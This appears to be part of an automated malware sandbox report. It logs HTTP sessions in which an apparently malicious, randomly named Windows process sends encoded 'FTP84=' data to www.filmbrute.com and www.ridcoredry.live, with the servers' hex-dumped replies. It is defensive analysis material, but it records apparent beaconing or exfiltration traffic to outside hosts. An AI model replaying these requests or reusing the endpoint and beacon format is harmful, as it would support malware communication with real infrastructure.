+Q0ghEZ7WtNblpHngbYZcMdqP5bNSlCT/vWF1RMaeCyenwFh1qoZT/KKAcr71MUwt9s0f25zRQjnECGXzPZhSgLjHtx1WnnnL1JuM4ARLNtaK1aXknE1PMSCG3ZbvrpK4vrOboC+01AtV3lzHy0oBC3upe7hmppYKqLaPygJ2mrtvbHJ1BDjgyC1xrn31wg45A+TWoxOKijCkzzGwoiObBypECKP12ZYztBmsG4QqWJ3njHrTxEuSSXBCzfprYcCkB0CxaDCVwLO958NJz9eGw2fE [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	64492	91.195.240.123	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:46.825320959 CEST	458	OUT	GET /blq3/?Lb=GFtlIrHx8T50&FTP84=/QAAm0GouadCsSjm0XCQ0NNd9BYFgPCeNdHOqYXBISGV1GFo4SB1zqqUvhYZ4jEo/5lijPf3qt+9x6u7W4DslmBYMZTBtvuPQphb+44RgWDcLgkceETeTezSGqdjX9slNk8GIp6396hv HTTP/1.1 Host: www.ridcoredry.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:26:47.501921892 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 01 Jul 2024 17:26:47 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_eo9OeiVz3GCxtPE6HZiRFFsltj5hMmzizKgZ49sO3Vh1F2ySG9mtuAn3+h1qcljkLT+fbFjDqpdrGmMO190vYg== last-modified: Mon, 01 Jul 2024 17:26:47 GMT x-cache-miss-from: parking-89c5695ff-ppcpm server: Parking/1.0 connection: close Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 65 6f 39 4f 65 69 56 7a 33 47 43 78 74 50 45 36 48 5a 69 52 46 46 73 6c 74 6a 35 68 4d 6d 7a 69 7a 4b 67 5a 34 39 73 4f 33 56 68 31 46 32 79 53 47 39 6d 74 75 41 6e 33 2b 68 31 71 63 6c 6a 6b 4c 54 2b 66 62 46 6a 44 71 70 64 72 47 6d 4d 4f 31 39 30 76 59 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 72 69 64 63 6f 72 65 64 72 79 2e 6c 69 76 65 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 72 69 64 63 [TRUNCATED] Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_eo9OeiVz3GCxtPE6HZiRFFsltj5hMmzizKgZ49sO3Vh1F2ySG9mtuAn3+h1qcljkLT+fbFjDqpdrGmMO190vYg==><head><meta charset="utf-8"><title>ridcoredry.live - ridcoredry Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="ridcoredry.live is your first and best source for all of the information
Jul 1, 2024 19:26:47.501945019 CEST	1236	IN	Data Raw: 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e Data Ascii: youre looking for. From general topics to more of what you would expect to find here, ridcoredry.live has it all. We hope you find what you are searchin576g for!"><link rel="icon" type="image/png" href="//img.se
Jul 1, 2024 19:26:47.501957893 CEST	1236	IN	Data Raw: 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e Data Ascii: trols]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform
Jul 1, 2024 19:26:47.502068043 CEST	372	IN	Data Raw: 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 Data Ascii: s,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484
Jul 1, 2024 19:26:47.502079964 CEST	1236	IN	Data Raw: 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 62 75 79 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 62 75 79 62 6f 78 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 63 6f 6e 74 Data Ascii: enter}.container-buybox__content-buybox{display:inline-block;text-align:left}.container-buybox__content-heading{font-size:1D1115px}.container-buybox__content-text{font-size:12px}.container-buybox__content-link{color:#949494}.container-buyb
Jul 1, 2024 19:26:47.502089977 CEST	1236	IN	Data Raw: 63 74 2d 75 73 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 61 63 74 2d 75 73 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 34 39 34 Data Ascii: ct-us__content-text,.container-contact-us__content-link{font-size:10px;color:#949494}.container-privacyPolicy{text-align:center}.container-privacyPolicy__content{display:inline-block}.container-privacyPolicy__content-link{font-size:10px;color:
Jul 1, 2024 19:26:47.502103090 CEST	1236	IN	Data Raw: 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 69 6e 69 74 69 61 6c 3b 6d 61 72 67 69 6e 3a 31 30 25 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 64 69 Data Ascii: window__content{text-align:initial;margin:10% auto;padding:40px;background:#fff;display:inline-block;max-width:550px}.cookie-modal-window__content-text{line-height:1.5em}.cookie-modal-window__close{width:100%;margin:0}.cookie-modal-window__con
Jul 1, 2024 19:26:47.502115011 CEST	672	IN	Data Raw: 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 63 39 35 39 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 73 6d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 Data Ascii: order-color:#8c959c;color:#fff;font-size:initial}.btn--secondary-sm:hover{background-color:#727c83;border-color:#727c83;color:#fff;font-size:initial}.switch input{opacity:0;width:0;height:0}.switch{position:relative;display:inline-block;width:
Jul 1, 2024 19:26:47.502125978 CEST	1236	IN	Data Raw: 69 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2b 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 31 70 78 20 23 30 30 37 62 Data Ascii: ider{background-color:#007bff}input:focus+.switch__slider{box-shadow:0 0 1px #007bff}input:checked+.switch__slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}body{background-color:#0e162
Jul 1, 2024 19:26:47.502160072 CEST	224	IN	Data Raw: 64 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 62 67 2f 61 72 72 6f 77 73 2e 70 6e 67 22 29 20 23 30 65 31 36 32 65 20 6e 6f 2d 72 65 70 65 61 74 20 74 6f 70 20 6c 65 66 74 3b Data Ascii: d:url("//img.sedoparking.com/templates/bg/arrows.png") #0e162e no-repeat top left;background-size:94% 640px;flex-grow:1;position:inherit;top:90px;overflow:hidden;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-tran
Jul 1, 2024 19:26:47.506937027 CEST	1236	IN	Data Raw: 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 6c 70 7b 6d 69 6e 2d 68 65 69 67 68 74 Data Ascii: sform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-content--twot{min-height:720px}.container-content--twot .container-content__contain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	64493	38.207.19.49	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:52.979090929 CEST	719	OUT	POST /vgf2/ HTTP/1.1 Host: www.filmbrute.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.filmbrute.com Referer: http://www.filmbrute.com/vgf2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 49 32 37 4f 59 75 2f 43 69 2b 72 64 41 33 4c 73 73 36 79 69 50 71 33 76 74 6a 36 6b 62 66 45 77 62 4e 6f 49 2b 54 62 54 70 69 4c 36 70 59 62 6f 6a 61 41 50 37 4a 54 32 39 72 62 34 73 75 6f 4d 6d 6a 4f 41 4b 51 69 71 58 6c 79 45 4e 6b 43 51 76 61 74 4e 71 65 75 30 6d 37 4b 76 76 64 56 2f 71 6a 79 73 6e 2f 43 57 71 7a 5a 55 43 6f 56 51 31 67 31 43 70 79 38 4a 39 6c 30 6d 38 5a 62 6b 57 67 53 51 6a 51 53 55 34 72 46 51 2b 70 64 77 79 4d 64 66 51 42 32 32 77 49 44 49 68 69 45 4d 2b 58 2f 42 4a 2f 4c 62 56 46 35 6c 6d 42 73 6f 43 6e 41 63 33 56 49 52 38 35 47 72 66 44 4b 70 72 43 37 42 49 6e 35 78 45 78 2f 4d 44 61 46 46 6a 41 3d 3d Data Ascii: FTP84=I27OYu/Ci+rdA3Lss6yiPq3vtj6kbfEwbNoI+TbTpiL6pYbojaAP7JT29rb4suoMmjOAKQiqXlyENkCQvatNqeu0m7KvvdV/qjysn/CWqzZUCoVQ1g1Cpy8J9l0m8ZbkWgSQjQSU4rFQ+pdwyMdfQB22wIDIhiEM+X/BJ/LbVF5lmBsoCnAc3VIR85GrfDKprC7BIn5xEx/MDaFFjA==
Jul 1, 2024 19:26:54.169118881 CEST	589	IN	HTTP/1.1 400 Bad Request Date: Mon, 01 Jul 2024 17:26:53 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 359 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 91 cd 4a c3 40 10 c7 cf 15 7c 87 34 5e bb a4 25 41 24 26 05 11 0f 3e 80 e0 75 9b 9d 26 8b 9b dd 98 4c fa 61 f1 52 04 2f 7a 15 11 1f a0 17 11 2f 2a e8 e3 b4 d5 9b af e0 66 fb a5 87 65 66 fe b3 bf f9 60 82 3a 53 11 0e 33 b0 12 4c 45 7b 7b 2b 58 5b a0 ac b2 29 20 b5 a2 84 e6 05 60 68 97 d8 25 7b f6 5a 4f 10 33 02 e7 25 ef 85 f6 29 39 39 20 87 2a cd 28 f2 8e 00 db 8a 94 44 90 1a 3a 3e 0a 81 c5 b0 c1 24 4d 21 b4 7b 1c fa 99 ca f1 cf cf 3e 67 98 84 0c 7a 3c 02 62 82 86 c5 25 47 4e 05 29 22 2a 20 6c 35 ac 94 0e 78 5a a6 1b a1 2c 20 37 11 d5 7d 43 a9 4c 23 e4 28 a0 ed 35 bd c0 59 b8 5a 2b 70 68 9c 5a 47 b1 e1 48 db 5a 87 46 67 71 ae 4a c9 48 a4 84 ca fd 1d cf f3 f6 ab 4c 57 cf 44 0a 7e 01 7e cb cb 06 95 74 a9 5f e2 8e fe 27 77 9b 8b 64 6d 89 03 80 09 11 06 48 a8 e0 b1 f4 23 bd 1a e4 46 cd 28 63 5c c6 04 55 e6 bb 2b d2 14 eb 03 8f 13 f4 a5 ca 53 2a 96 dd 02 67 35 70 e0 2c cf a1 dd 6a 76 73 20 b7 da ee e7 f3 66 3e 9e 7c 3f bf cd 5f c6 5f 0f 57 f3 bb eb e9 c7 eb f4 fd 76 f6 74 [TRUNCATED] Data Ascii: UJ@\|4^%A$&>u&LaR/z/fef`:S3LE{{+X[) `h%{ZO3%)99 (D:>$M!{>gz<b%GN)"* l5xZ, 7}CL#(5YZ+phZGHZFgqJHLWD~~t_'wdmH#F(c\U+S*g5p,jvs f>\|?__Wvt?{5~E9=g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	64494	38.207.19.49	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:55.629261017 CEST	739	OUT	POST /vgf2/ HTTP/1.1 Host: www.filmbrute.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.filmbrute.com Referer: http://www.filmbrute.com/vgf2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 49 32 37 4f 59 75 2f 43 69 2b 72 64 61 58 58 73 71 59 61 69 65 61 33 67 7a 7a 36 6b 53 2f 45 38 62 4e 6b 49 2b 57 6a 44 38 45 62 36 6f 35 72 6f 67 62 41 50 36 4a 54 32 32 4c 61 7a 69 4f 6f 62 6d 6a 43 35 4b 56 61 71 58 6b 57 45 4e 6c 79 51 76 74 78 4b 71 4f 75 32 71 62 4b 68 67 39 56 2f 71 6a 79 73 6e 2f 6d 77 71 7a 42 55 42 59 46 51 7a 46 56 42 79 53 38 4b 33 46 30 6d 32 35 62 67 57 67 54 46 6a 56 79 2b 34 70 4e 51 2b 74 5a 77 79 5a 70 65 46 52 32 77 39 6f 44 65 75 79 63 47 77 6e 33 52 4e 74 57 46 64 6b 46 42 75 58 78 4b 59 46 4d 77 70 45 77 71 34 37 69 64 49 6c 58 63 70 44 2f 5a 46 46 4e 51 62 47 61 6d 4f 49 6b 42 31 37 30 78 63 66 31 51 4f 6e 37 43 2b 2f 48 49 76 50 75 61 30 71 45 3d Data Ascii: FTP84=I27OYu/Ci+rdaXXsqYaiea3gzz6kS/E8bNkI+WjD8Eb6o5rogbAP6JT22LaziOobmjC5KVaqXkWENlyQvtxKqOu2qbKhg9V/qjysn/mwqzBUBYFQzFVByS8K3F0m25bgWgTFjVy+4pNQ+tZwyZpeFR2w9oDeuycGwn3RNtWFdkFBuXxKYFMwpEwq47idIlXcpD/ZFFNQbGamOIkB170xcf1QOn7C+/HIvPua0qE=
Jul 1, 2024 19:26:56.877687931 CEST	589	IN	HTTP/1.1 400 Bad Request Date: Mon, 01 Jul 2024 17:26:56 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 359 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 91 cd 4a c3 40 10 c7 cf 15 7c 87 34 5e bb a4 25 41 24 26 05 11 0f 3e 80 e0 75 9b 9d 26 8b 9b dd 98 4c fa 61 f1 52 04 2f 7a 15 11 1f a0 17 11 2f 2a e8 e3 b4 d5 9b af e0 66 fb a5 87 65 66 fe b3 bf f9 60 82 3a 53 11 0e 33 b0 12 4c 45 7b 7b 2b 58 5b a0 ac b2 29 20 b5 a2 84 e6 05 60 68 97 d8 25 7b f6 5a 4f 10 33 02 e7 25 ef 85 f6 29 39 39 20 87 2a cd 28 f2 8e 00 db 8a 94 44 90 1a 3a 3e 0a 81 c5 b0 c1 24 4d 21 b4 7b 1c fa 99 ca f1 cf cf 3e 67 98 84 0c 7a 3c 02 62 82 86 c5 25 47 4e 05 29 22 2a 20 6c 35 ac 94 0e 78 5a a6 1b a1 2c 20 37 11 d5 7d 43 a9 4c 23 e4 28 a0 ed 35 bd c0 59 b8 5a 2b 70 68 9c 5a 47 b1 e1 48 db 5a 87 46 67 71 ae 4a c9 48 a4 84 ca fd 1d cf f3 f6 ab 4c 57 cf 44 0a 7e 01 7e cb cb 06 95 74 a9 5f e2 8e fe 27 77 9b 8b 64 6d 89 03 80 09 11 06 48 a8 e0 b1 f4 23 bd 1a e4 46 cd 28 63 5c c6 04 55 e6 bb 2b d2 14 eb 03 8f 13 f4 a5 ca 53 2a 96 dd 02 67 35 70 e0 2c cf a1 dd 6a 76 73 20 b7 da ee e7 f3 66 3e 9e 7c 3f bf cd 5f c6 5f 0f 57 f3 bb eb e9 c7 eb f4 fd 76 f6 74 [TRUNCATED] Data Ascii: UJ@\|4^%A$&>u&LaR/z/fef`:S3LE{{+X[) `h%{ZO3%)99 (D:>$M!{>gz<b%GN)"* l5xZ, 7}CL#(5YZ+phZGHZFgqJHLWD~~t_'wdmH#F(c\U+S*g5p,jvs f>\|?__Wvt?{5~E9=g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	64495	38.207.19.49	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:58.166465044 CEST	1752	OUT	POST /vgf2/ HTTP/1.1 Host: www.filmbrute.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.filmbrute.com Referer: http://www.filmbrute.com/vgf2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 49 32 37 4f 59 75 2f 43 69 2b 72 64 61 58 58 73 71 59 61 69 65 61 33 67 7a 7a 36 6b 53 2f 45 38 62 4e 6b 49 2b 57 6a 44 38 45 54 36 6f 4c 54 6f 69 38 30 50 35 4a 54 32 37 72 61 77 69 4f 6f 47 6d 6a 4c 78 4b 56 65 6c 58 6e 2b 45 58 48 57 51 74 5a 46 4b 6c 4f 75 32 69 37 4b 73 76 64 55 6e 71 6a 69 6f 6e 2f 32 77 71 7a 42 55 42 64 42 51 77 51 31 42 77 53 38 4a 39 6c 30 36 38 5a 62 4d 57 67 4c 56 6a 56 2b 45 34 34 74 51 2b 4a 39 77 33 72 78 65 45 78 32 79 78 49 43 64 75 79 68 63 77 6e 72 6e 4e 73 7a 67 64 6e 56 42 34 78 34 74 48 6b 67 56 7a 47 6b 71 33 37 7a 39 64 33 54 50 6d 42 33 47 41 58 68 57 66 48 75 4f 4a 2b 51 39 33 74 42 4d 46 70 38 6b 4e 58 7a 4d 35 49 50 44 2f 73 61 4a 33 4d 39 46 67 56 6f 4d 46 70 66 55 44 52 38 79 52 5a 58 47 78 44 43 70 69 73 4e 4a 4d 57 65 65 52 78 6f 61 47 32 4b 58 71 77 6f 56 52 77 69 53 59 56 57 42 48 76 69 65 39 6a 38 39 68 46 41 4d 65 50 33 73 4a 6b 52 51 59 5a 46 50 43 4a 78 4d 66 41 65 47 66 72 57 68 56 34 4c 31 30 4d 38 56 30 49 51 47 4c 36 44 77 [TRUNCATED] Data Ascii: FTP84=I27OYu/Ci+rdaXXsqYaiea3gzz6kS/E8bNkI+WjD8ET6oLToi80P5JT27rawiOoGmjLxKVelXn+EXHWQtZFKlOu2i7KsvdUnqjion/2wqzBUBdBQwQ1BwS8J9l068ZbMWgLVjV+E44tQ+J9w3rxeEx2yxICduyhcwnrnNszgdnVB4x4tHkgVzGkq37z9d3TPmB3GAXhWfHuOJ+Q93tBMFp8kNXzM5IPD/saJ3M9FgVoMFpfUDR8yRZXGxDCpisNJMWeeRxoaG2KXqwoVRwiSYVWBHvie9j89hFAMeP3sJkRQYZFPCJxMfAeGfrWhV4L10M8V0IQGL6DwsfAOH+ID4y03qdjmTBFDZ8fq1ngfJyn9yRBxT7ON2c02zUAaiCUHFkkYcpSeOZiTrf246XJ2u6erGVEvqK2yS+/AHWjOX3nSxlovkriaqP5Er3P0qjgQmjulX1LI58BZd/DHxGGtyw3M7lR/UzLcmWvLcTTBm6Q/XS+WkGzVY7sE3b5KQFw7cf01DtUsR5+H77kr4DfjSKaGo+1THbHb2zdbUdtCzx+jCE9JVLOQrUMjY8klaIqj9FS4gixSwoufqH/7ZgC5/dFwU4BSci5ggRh1vtkhSmZYaOuE5sKzFyC7mZLE7YhDBVGwyYv/DGwnJ840a5aXeuVpLkIOe0mRjYUQJjtWZepTYasfYlLwoSxtwymKakR6HskolfUcw2YNOPxzWpvCHHwY3o98sP1XxS7JfDwspmcN5lkn1FhnyVTCHuDAnIu9LjofOyJCAAuP627mOTQXfgBe4b+MK93+1aAtViES5kTTkiLOD4hkXvOAUJgBUw1n/6GeiF8/Y1loVm3C31mKZRMVoS9nxZYqkYFMy2Kfojz6RfiwWbNssXjyxh2rUeAgRL7zpXvWIKBMz8F4+y0Yz1vVPpm8QQFo/S+JgxaOLWW5ndwZbWgb3XkvQ2UIQv3LPQIWMDsrbmt9021vE6uBQEGGieP+MRU8MG8Y2yPRjwmGre [TRUNCATED]
Jul 1, 2024 19:26:59.308974981 CEST	589	IN	HTTP/1.1 400 Bad Request Date: Mon, 01 Jul 2024 17:26:58 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 359 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 91 cd 4a c3 40 10 c7 cf 15 7c 87 34 5e bb a4 25 41 24 26 05 11 0f 3e 80 e0 75 9b 9d 26 8b 9b dd 98 4c fa 61 f1 52 04 2f 7a 15 11 1f a0 17 11 2f 2a e8 e3 b4 d5 9b af e0 66 fb a5 87 65 66 fe b3 bf f9 60 82 3a 53 11 0e 33 b0 12 4c 45 7b 7b 2b 58 5b a0 ac b2 29 20 b5 a2 84 e6 05 60 68 97 d8 25 7b f6 5a 4f 10 33 02 e7 25 ef 85 f6 29 39 39 20 87 2a cd 28 f2 8e 00 db 8a 94 44 90 1a 3a 3e 0a 81 c5 b0 c1 24 4d 21 b4 7b 1c fa 99 ca f1 cf cf 3e 67 98 84 0c 7a 3c 02 62 82 86 c5 25 47 4e 05 29 22 2a 20 6c 35 ac 94 0e 78 5a a6 1b a1 2c 20 37 11 d5 7d 43 a9 4c 23 e4 28 a0 ed 35 bd c0 59 b8 5a 2b 70 68 9c 5a 47 b1 e1 48 db 5a 87 46 67 71 ae 4a c9 48 a4 84 ca fd 1d cf f3 f6 ab 4c 57 cf 44 0a 7e 01 7e cb cb 06 95 74 a9 5f e2 8e fe 27 77 9b 8b 64 6d 89 03 80 09 11 06 48 a8 e0 b1 f4 23 bd 1a e4 46 cd 28 63 5c c6 04 55 e6 bb 2b d2 14 eb 03 8f 13 f4 a5 ca 53 2a 96 dd 02 67 35 70 e0 2c cf a1 dd 6a 76 73 20 b7 da ee e7 f3 66 3e 9e 7c 3f bf cd 5f c6 5f 0f 57 f3 bb eb e9 c7 eb f4 fd 76 f6 74 [TRUNCATED] Data Ascii: UJ@\|4^%A$&>u&LaR/z/fef`:S3LE{{+X[) `h%{ZO3%)99 (D:>$M!{>gz<b%GN)"* l5xZ, 7}CL#(5YZ+phZGHZFgqJHLWD~~t_'wdmH#F(c\U+S*g5p,jvs f>\|?__Wvt?{5~E9=g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	64496	38.207.19.49	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:27:00.696486950 CEST	456	OUT	GET /vgf2/?FTP84=F0TubYbkra/fLGHNqtnaeYyDjBSRDaIxGedz+B7Iv0bejpDurJsW0bbpyLvpmMVlmiWzO1GtHUuGPki2goMxppGKi6uI7uQ9xVSgz+G1kxpEA95r9Q5H+Hhz7gAx2pLrWkb0si+rio1X&Lb=GFtlIrHx8T50 HTTP/1.1 Host: www.filmbrute.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:27:01.953816891 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:27:01 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 32 30 30 30 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 7a 68 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6c 69 67 68 74 20 64 61 72 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 66 66 66 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 